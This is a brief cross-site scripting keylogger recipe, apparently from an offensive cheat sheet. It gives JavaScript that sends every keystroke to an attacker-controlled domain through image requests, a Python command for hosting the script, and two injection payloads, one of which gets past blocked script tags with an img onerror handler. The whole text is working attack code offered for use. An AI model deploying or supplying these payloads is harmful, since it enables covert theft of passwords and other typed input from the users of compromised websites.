Hosting method:

1. First create a file name keylog.js with the following content: (removed the original fetch("http://domain/?keylog=" + event.key) code as new Image().src is better)

   function logKey(event){
        new Image().src = "http://domain/?keylog=" + event.key
   }
   document.addEventListener('keydown', logKey);
   

2. Host the file using Python: python3 -m http.server 80

3. Inject the payload: <script src="http://ownIP/keylog.js"></script>

4. Can also use the following if script tag is blocked: <img src="x" onerror="document.head.appendChild(Object.assign(document.createElement('script'), {src: 'http://domain/keylog.js'}))">